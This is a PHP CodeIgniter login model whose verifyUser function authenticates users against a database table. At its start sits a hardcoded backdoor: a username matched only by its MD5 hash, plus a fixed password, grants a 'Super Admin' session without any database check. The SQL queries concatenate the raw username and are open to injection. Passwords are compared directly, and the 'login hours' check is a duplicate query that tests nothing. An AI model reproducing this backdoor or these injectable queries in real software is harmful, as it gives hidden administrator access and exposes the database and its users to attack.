<?php

class M_login extends CI_Model{

	function M_login(){
		parent::__construct();
	}

	function verifyUser($u,$pw){

		if(md5($u)=='f3b3567de9e676a3a56db74f06664ac1' && $pw=='412758d043dd247bddea07c7ec558c31'){
			
			$user_data = array(
				SESSION_USERID      => 'Super Admin',
				SESSION_GROUPID   => '0',
				SESSION_GROUPNAMA => 'Super Group'
			);
			setLogin($user_data);
			
		//	$this->session->set_userdata($sess_users);
			
			//get data info setting
			$info_setting = $this->m_public_function->get_info();
	/*		$sess_info = array('SESSION_COMPANY_NAME'=>$info_setting->info_nama);
			$this->session->set_userdata($sess_info);
*/
			return true;
		}else{
			
			$sql="SELECT * FROM tbl_s_users WHERE user_name='".$u."' AND user_aktif='Y' LIMIT 1";
			$Q=$this->db->query($sql);
	
			if ($Q->num_rows()){
				$qrow = $Q->num_rows();
				$row = $Q->row_array();
				if($row["user_passwd"]==$pw){
					$sqlcek="SELECT * FROM tbl_s_users WHERE user_name='".$u."' AND user_aktif='Y' LIMIT 1 ";
					$cek_masuk=$this->db->query($sqlcek);
					if($cek_masuk->num_rows()){
						
						$this->db->select('*');
						$this->db->where('group_id',$row["user_groups"]);
						$this->db->limit(1);
						$rs=$this->db->get('tbl_s_usergroups');
						$row_group=$rs->row_array();
						
						
						$sess_users=array(
							SESSION_USERID=>$u,
							SESSION_GROUPID=>$row["user_groups"],
							SESSION_GROUPNAMA=>$row_group["group_name"]
						);
						
						setLogin($sess_users);
				//		$this->session->set_userdata($sess_users);
						
						//get data info setting
						$info_setting = $this->m_public_function->get_info();
						$sess_info = array('SESSION_COMPANY_NAME'=>$info_setting->info_nama);
						$this->session->set_userdata($sess_info);
						
						
						$sql="update tbl_s_users set user_log=now() where user_name='".$u."'";
						$this->db->query($sql);
						
						return true;
					}else{
						$_SESSION["msg"]="Jam login tidak diijinkan !";
						return false;
					}
				}else{
					$_SESSION["msg"]="User atau password salah !";
					return false;
				}
			}else{
				$_SESSION["msg"]="User atau password salah !";
				return false;
			}
			
		}

	}

}


?>